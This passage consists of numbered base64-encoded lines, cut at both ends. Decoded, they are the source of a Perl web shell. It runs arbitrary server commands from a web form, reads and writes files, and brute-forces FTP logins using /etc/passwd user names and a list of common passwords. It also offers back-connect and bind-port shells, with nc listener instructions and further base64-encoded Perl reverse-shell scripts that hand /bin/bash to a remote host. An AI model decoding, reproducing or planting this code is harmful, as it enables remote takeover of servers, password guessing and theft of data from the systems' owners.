1680CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fp
1681bgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJ
1682cmV0dXJuICZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CgkKCSMgZ2V0IGZ1bGx5IHF1YWxpZmll
1683ZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5z
1684ZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0v
1685XlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZp
1686bGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlm
1687KCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUg
1688Lj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdl
1689IGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRh
1690cmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UK
1691CXsKCQlyZXR1cm4gJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCgoj
1692LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1693LS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0
1694ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBh
1695bGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVj
1696dG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUg
1697bmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMg
1698dXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0
1699IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUg
1700dXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0t
1701LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1702LS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJbXkgJHJlc3VsdD0iIjsK
1703CWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGly
1704IGNvbW1hbmQKCXsKCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBv
1705dXRwdXQgb2YgdGhlCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuCgkJJENvbW1hbmQgPSAi
1706Y2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNo
1707b3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRM
1708aW5lSW5wdXRGb3JtOwoKCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwv
1709cnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdm
1710YWxzZSc+IjsKCQkjIHh1YXQgdGhvbmcgdGluIGtoaSBjaHV5ZW4gZGVuIDEgdGh1IG11YyBuYW8g
1711ZG8hCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOwoJCSRyZXN1bHQgLj0g
1712JlJ1bkNtZDsKCX1lbHNpZigkUnVuQ29tbWFuZCA9fiBtL15ccyplZGl0XHMrKC4rKS8pCgl7CgkJ
1713JHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsKCX1lbHNlCgl7CgkJJHJlc3VsdCAuPSAmUHJpbnRD
1714b21tYW5kTGluZUlucHV0Rm9ybTsKCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21t
1715YW5kPC9ydW4+PGJyPjx0ZXh0YXJlYSBpZD0nZGF0YScgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dz
1716JyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsKCQkkcmVzdWx0IC49JlJ1bkNtZDsKCX0KCSRyZXN1bHQg
1717Lj0gICI8L3RleHRhcmVhPiI7CglyZXR1cm4gJHJlc3VsdDsKfQoKIy0tLS0tLS0tLS0tLS0tLS0t
1718LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoj
1719IHJ1biBjb21tYW5kCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1720LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCnN1YiBSdW5DbWQKewoJbXkgJHJlc3VsdD0i
1721IjsKCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4k
1722UmVkaXJlY3RvcjsKCWlmKCEkV2luTlQpCgl7CgkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGlt
1723ZW91dDsKCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7Cgl9CglpZigkU2hvd0R5bmFt
1724aWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgl7CgkJJHw9MTsKCQkk
1725Q29tbWFuZCAuPSAiIHwiOwoJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOwoJCXdoaWxl
1726KDxDb21tYW5kT3V0cHV0PikKCQl7CgkJCSRfID1+IHMvKFxufFxyXG4pJC8vOwoJCQkkcmVzdWx0
1727IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7CgkJfQoJCSR8PTA7Cgl9CgllbHNlICMgc2hv
1728dyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCXsKCQkkcmVzdWx0IC49ICZIdG1sU3Bl
1729Y2lhbENoYXJzKCckQ29tbWFuZCcpOwoJfQoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCX0K
1730CXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
1731PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBGb3JtIFNhdmUgRmls
1732ZSAKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
1733PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGVGb3JtCnsKCW15ICRyZXN1bHQg
1734PSIiOwoJc3Vic3RyKCRSdW5Db21tYW5kLDAsNSk9IiI7CglteSAkZmlsZT0mdHJpbSgkUnVuQ29t
1735bWFuZCk7Cgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJz
1736YXZlIiBjbGFzcz0ic3VibWl0IiA+JzsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRSdW5D
1737b21tYW5kOwoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13
1738ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmls
1739ZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9u
1740dDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OycgPiBQZXJtaXNzaW9uIGRlbmllZCE8Zm9u
1741dD48YnI+IjsKCQkkcm93cz0iMjAiCgl9CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDog
1742Ijxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+
1743ICI7CgkkcmVhZD0oJFdpbk5UKT8idHlwZSI6Imxlc3MiOwoJJFJ1bkNvbW1hbmQgPSAiJHJlYWQg
1744XCIkUnVuQ29tbWFuZFwiIjsKCSRyZXN1bHQgLj0gIDw8RU5EOwoJPGZvcm0gbmFtZT0iZiIgbWV0
1745aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CgoJPGlucHV0IHR5cGU9ImhpZGRl
1746biIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KCSRQcm9tcHQKCTxpbnB1dCB0eXBlPSJ0
1747ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyI+Cgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIg
1748dHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgoJPGJyPkNvbW1hbmQ6IDxydW4+ICRSdW5Db21t
1749YW5kIDwvcnVuPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IiRmaWxl
1750IiA+ICRzYXZlIDxicj4gJG1zZwoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIg
1751Y29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+CkVORAoJCgkkcmVz
1752dWx0IC49ICZSdW5DbWQ7CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJJHJlc3VsdCAuPSAg
1753IjwvZm9ybT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIz09PT09PT09PT09PT09PT09PT09PT09PT09
1754PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIFNh
1755dmUgRmlsZQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
1756PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN1YiBTYXZlRmlsZSgkKQp7CglteSAkRGF0
1757YT0gc2hpZnQgOwoJbXkgJEZpbGU9IHNoaWZ0OwoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAu
1758JEZpbGU7CglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkKCXsKCQliaW5tb2RlIEZJTEU7CgkJcHJp
1759bnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXJldHVybiAxOwoJfWVsc2UKCXsKCQlyZXR1
1760cm4gMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1761LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyIEZvcm0KIy0t
1762LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1763LS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQnJ1dGVGb3JjZXJGb3JtCnsKCW15ICRyZXN1bHQ9IiI7
1764CgkkcmVzdWx0IC49IDw8RU5EOwoKPHRhYmxlPgoKPHRyPgo8dGQgY29sc3Bhbj0iMiIgYWxpZ249
1765ImNlbnRlciI+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4KU2ltcGxl
1766IEZUUCBicnV0ZSBmb3JjZXI8YnI+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
1767Iwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4K
1768CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJicnV0ZWZvcmNlciIvPgo8L3Rk
1769Pgo8L3RyPgo8dHI+Cjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBu
1770YW1lPSJ1c2VyIj4KRU5ECmNob3AoJHJlc3VsdCAuPSBgbGVzcyAvZXRjL3Bhc3N3ZCB8IGN1dCAt
1771ZDogLWYxYCk7CiRyZXN1bHQgLj0gPDwnRU5EJzsKPC90ZXh0YXJlYT48L3RkPgo8dGQ+CgpQYXNz
1772Ojxicj4KPHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0icGFzcyI+MTIzcGFzcwox
1773MjMhQCMKMTIzYWRtaW4KMTIzYWJjCjEyMzQ1NmFkbWluCjEyMzQ1NTQzMjEKMTIzNDQzMjEKcGFz
1774czEyMwphZG1pbgphZG1pbmNwCmFkbWluaXN0cmF0b3IKbWF0a2hhdQpwYXNzYWRtaW4KcEBzc3dv
1775cmQKcEBzc3cwcmQKcGFzc3dvcmQKMTIzNDU2CjEyMzQ1NjcKMTIzNDU2NzgKMTIzNDU2Nzg5CjEy
1776MzQ1Njc4OTAKMTExMTExCjAwMDAwMAoyMjIyMjIKMzMzMzMzCjQ0NDQ0NAo1NTU1NTUKNjY2NjY2
1777Cjc3Nzc3Nwo4ODg4ODgKOTk5OTk5CjEyMzEyMwoyMzQyMzQKMzQ1MzQ1CjQ1NjQ1Ngo1Njc1NjcK
1778Njc4Njc4Cjc4OTc4OQoxMjMzMjEKNDU2NjU0CjY1NDMyMQo3NjU0MzIxCjg3NjU0MzIxCjk4NzY1
1779NDMyMQowOTg3NjU0MzIxCmFkbWluMTIzCmFkbWluMTIzNDU2CmFiY2RlZgphYmNhYmMKIUAjIUAj
1780CiFAIyQlXgohQCMkJV4mKigKIUAjJCQjQCEKYWJjMTIzCmFuaHlldWVtCmlsb3ZleW91PC90ZXh0
1781YXJlYT4KPC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+ClNs
1782ZWVwOjxzZWxlY3QgbmFtZT0ic2xlZXAiPgoKPG9wdGlvbj4wPC9vcHRpb24+CjxvcHRpb24+MTwv
1783b3B0aW9uPgo8b3B0aW9uPjI8L29wdGlvbj4KCjxvcHRpb24+Mzwvb3B0aW9uPgo8L3NlbGVjdD4g
1784CjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIi
1785Lz48L3RkPjwvdHI+CjwvZm9ybT4KPC90YWJsZT4KRU5ECnJldHVybiAkcmVzdWx0Owp9CiMtLS0t
1786LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1787LS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1788LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpz
1789dWIgQnJ1dGVGb3JjZXIKewoJbXkgJHJlc3VsdD0iIjsKCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FE
1790RFInfTsKCWlmKCRpbnsndXNlcid9IGVxICIiKQoJewoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2Vy
1791Rm9ybTsKCX1lbHNlCgl7CgkJdXNlIE5ldDo6RlRQOyAKCQlAdXNlcj0gc3BsaXQoL1xuLywgJGlu
1792eyd1c2VyJ30pOwoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7CgkJY2hvbXAoQHVz
1793ZXIpOwoJCWNob21wKEBwYXNzKTsKCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1
1794dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8
1795PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsKCQlmb3JlYWNoICR1c2VybmFtZSAo
1796QHVzZXIpCgkJewoJCQlpZighKCR1c2VybmFtZSBlcSAiIikpCgkJCXsKCQkJCWZvcmVhY2ggJHBh
1797c3N3b3JkIChAcGFzcykKCQkJCXsKCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBv
1798ciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyAKCQkJCQlpZigkZnRw
1799LT5sb2dpbigiJHVzZXJuYW1lIiwiJHBhc3N3b3JkIikpCgkJCQkJewoJCQkJCQkkcmVzdWx0IC49
1800ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNl
1801cnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsK
1802CQkJCQkJJGZ0cC0+cXVpdCgpOwoJCQkJCQlicmVhazsKCQkJCQl9CgkJCQkJaWYoISgkaW57J3Ns
1803ZWVwJ30gZXEgIjAiKSkKCQkJCQl7CgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pKTsKCQkJ
1804CQl9CgkJCQkJJGZ0cC0+cXVpdCgpOwoJCQkJfQoJCQl9CgkJfQoJCSRyZXN1bHQgLj0gIlxuPGJy
1805Pj09PT09PT09PT0+Pj4+Pj4+Pj4+IEZpbmlzaGVkIDw8PDw8PDw8PDw9PT09PT09PT09PGJyPlxu
1806IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1807LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29u
1808bmVjdCBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1809LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJhY2tCaW5kRm9ybQp7CglyZXR1
1810cm4gPDxFTkQ7Cgk8YnI+PGJyPgoKCTx0YWJsZT4KCTx0cj4KCTxmb3JtIG5hbWU9ImYiIG1ldGhv
1811ZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoJPHRkPkJhY2tDb25uZWN0OiA8aW5w
1812dXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+Cgk8dGQ+IEhv
1813c3Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgbmFtZT0iY2xpZW50YWRkciIgdmFsdWU9
1814IiRFTlZ7J1JFTU9URV9BRERSJ30iPgoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI3
1815IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1l
1816bnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4KCgk8dGQ+PGlucHV0IG5h
1817bWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0i
1818Q29ubmVjdCI+PC90ZD4KCTwvZm9ybT4KCTwvdHI+Cgk8dHI+Cgk8dGQgY29sc3Bhbj0zPjxmb250
1819IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayEKCTxi
1820cj5bK10gVHJ5IGNoZWNrIHlvdXIgUG9ydCB3aXRoIDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJo
1821dHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy8iPmh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLzwv
1822YT4KCTxicj5bK10gQ2xpZW50IGxpc3RlbiB3aXRoIGNvbW1hbmQ6IDxydW4+bmMgLXZ2IC1sIC1w
1823IDxzcGFuIGlkPSJiYSI+ODA8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFi
1824bGU+CgoJPGJyPjxicj4KCTx0YWJsZT4KCTx0cj4KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9u
1825PSIkU2NyaXB0TG9jYXRpb24iPgoJPHRkPkJpbmQgUG9ydDogPGlucHV0IHR5cGU9ImhpZGRlbiIg
1826bmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoKCTx0ZD4gUG9ydDogPGlucHV0IHR5cGU9
1827InRleHQiIHNpemU9IjE1IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iMTQxMiIgb25rZXl1cD0i
1828ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij4KCgkg
1829UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iYmluZHBhc3MiIHZh
1830bHVlPSJUSElFVUdJQUJVT04iPjwvdGQ+Cgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJt
1831aXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4KCTwvZm9y
1832bT4KCTwvdHI+Cgk8dHI+Cgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENo
1833dWMgbmFuZyBjaHVhIGRjIHRlc3QhCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7
1834J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3Rk
1835PgoKCTwvdHI+Cgk8L3RhYmxlPjxicj4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1836LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJh
1837Y2tjb25uZWN0IHVzZSBwZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1838LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJhY2tCaW5kCnsK
1839CXVzZSBNSU1FOjpCYXNlNjQ7Cgl1c2UgU29ja2V0OwkKCSRiYWNrcGVybD0iSXlFdmRYTnlMMkpw
1840Ymk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DaVJUYUdWc2JBazlJQ0l2WW1sdUwySmhj
1841MmdpT3cwS0pFRlNSME05UUVGU1IxWTdEUXAxYzJVZ1UyOWphMlYwT3cwS2RYTmxJRVpwYkdWSVlX
1842NWtiR1U3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3
1843Z1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLU0J2Y2lCa2FXVWdjSEpwYm5RZ0lsc3RYU0JW
1844Ym1GaWJHVWdkRzhnVW1WemIyeDJaU0JJYjNOMFhHNGlPdzBLWTI5dWJtVmpkQ2hUVDBOTFJWUXNJ
1845SE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENCcGJtVjBYMkYwYjI0b0pFRlNSMVpiTUYwcEtT
1846a2diM0lnWkdsbElIQnlhVzUwSUNKYkxWMGdWVzVoWW14bElIUnZJRU52Ym01bFkzUWdTRzl6ZEZ4
1847dUlqc05DbkJ5YVc1MElDSkRiMjV1WldOMFpXUWhJanNOQ2xOUFEwdEZWQzArWVhWMGIyWnNkWE5v
1848S0NrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVM
1849Q0krSmxOUFEwdEZWQ0lwT3cwS2IzQmxiaWhUVkVSRlVsSXNJajRtVTA5RFMwVlVJaWs3RFFwd2Nt
1850bHVkQ0FpTFMwOVBTQkRiMjV1WldOMFpXUWdRbUZqYTJSdmIzSWdQVDB0TFNBZ1hHNWNiaUk3RFFw
1851emVYTjBaVzBvSW5WdWMyVjBJRWhKVTFSR1NVeEZPeUIxYm5ObGRDQlRRVlpGU0VsVFZDQTdaV05v
1852YnlBbld5dGRJRk41YzNSbGJXbHVabTg2SUNjN0lIVnVZVzFsSUMxaE8yVmphRzg3WldOb2J5QW5X
1853eXRkSUZWelpYSnBibVp2T2lBbk95QnBaRHRsWTJodk8yVmphRzhnSjFzclhTQkVhWEpsWTNSdmNu
1854azZJQ2M3SUhCM1pEdGxZMmh2T3lCbFkyaHZJQ2RiSzEwZ1UyaGxiR3c2SUNjN0pGTm9aV3hzSWlr
1855N0RRcGpiRzl6WlNCVFQwTkxSVlE3IjsKCSRiaW5kcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNE
1856UXAxYzJVZ1UyOWphMlYwT3cwS0pFRlNSME05UUVGU1IxWTdEUW9rY0c5eWRBazlJQ1JCVWtkV1d6
1857QmRPdzBLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtKRk5vWld4
1858c0NUMGdJaTlpYVc0dlltRnphQ0k3RFFwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JU
1859VDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1c5eUlHUnBaU0FpYzI5amEyVjBPaVFoSWpzTkNuTmxk
1860SE52WTJ0dmNIUW9VMFZTVmtWU0xDQlRUMHhmVTA5RFMwVlVMQ0JUVDE5U1JWVlRSVUZFUkZJc0lI
1861QmhZMnNvSW13aUxDQXhLU2x2Y2lCa2FXVWdJbk5sZEhOdlkydHZjSFE2SUNRaElqc05DbUpwYm1R
1862b1UwVlNWa1ZTTENCemIyTnJZV1JrY2w5cGJpZ2tjRzl5ZEN3Z1NVNUJSRVJTWDBGT1dTa3BiM0ln
1863WkdsbElDSmlhVzVrT2lBa0lTSTdEUXBzYVhOMFpXNG9VMFZTVmtWU0xDQlRUMDFCV0VOUFRrNHBD
1864UWx2Y2lCa2FXVWdJbXhwYzNSbGJqb2dKQ0VpT3cwS1ptOXlLRHNnSkhCaFpHUnlJRDBnWVdOalpY
1865QjBLRU5NU1VWT1ZDd2dVMFZTVmtWU0tUc2dZMnh2YzJVZ1EweEpSVTVVS1EwS2V3MEtDVzl3Wlc0
1866b1UxUkVTVTRzSUNJK0prTk1TVVZPVkNJcE93MEtDVzl3Wlc0b1UxUkVUMVZVTENBaVBpWkRURWxG
1867VGxRaUtUc05DZ2x2Y0dWdUtGTlVSRVZTVWl3Z0lqNG1RMHhKUlU1VUlpazdEUW9KYzNsemRHVnRL
1868Q0oxYm5ObGRDQklTVk5VUmtsTVJUc2dkVzV6WlhRZ1UwRldSVWhKVTFRZ08yVmphRzhnSjFzclhT
1869QlRlWE4wWlcxcGJtWnZPaUFuT3lCMWJtRnRaU0F0WVR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JWYzJW
1870eWFXNW1iem9nSnpzZ2FXUTdaV05vYnp0bFkyaHZJQ2RiSzEwZ1JHbHlaV04wYjNKNU9pQW5PeUJ3
1871ZDJRN1pXTm9ienNnWldOb2J5QW5XeXRkSUZOb1pXeHNPaUFuT3lSVGFHVnNiQ0lwT3cwS0NXTnNi
1872M05sS0ZOVVJFbE9LVHNOQ2dsamJHOXpaU2hUVkVSUFZWUXBPdzBLQ1dOc2IzTmxLRk5VUkVWU1Vp
1873azdEUXA5RFFvPSI7CgoJJENsaWVudEFkZHIgPSAkaW57J2NsaWVudGFkZHInfTsKCSRDbGllbnRQ
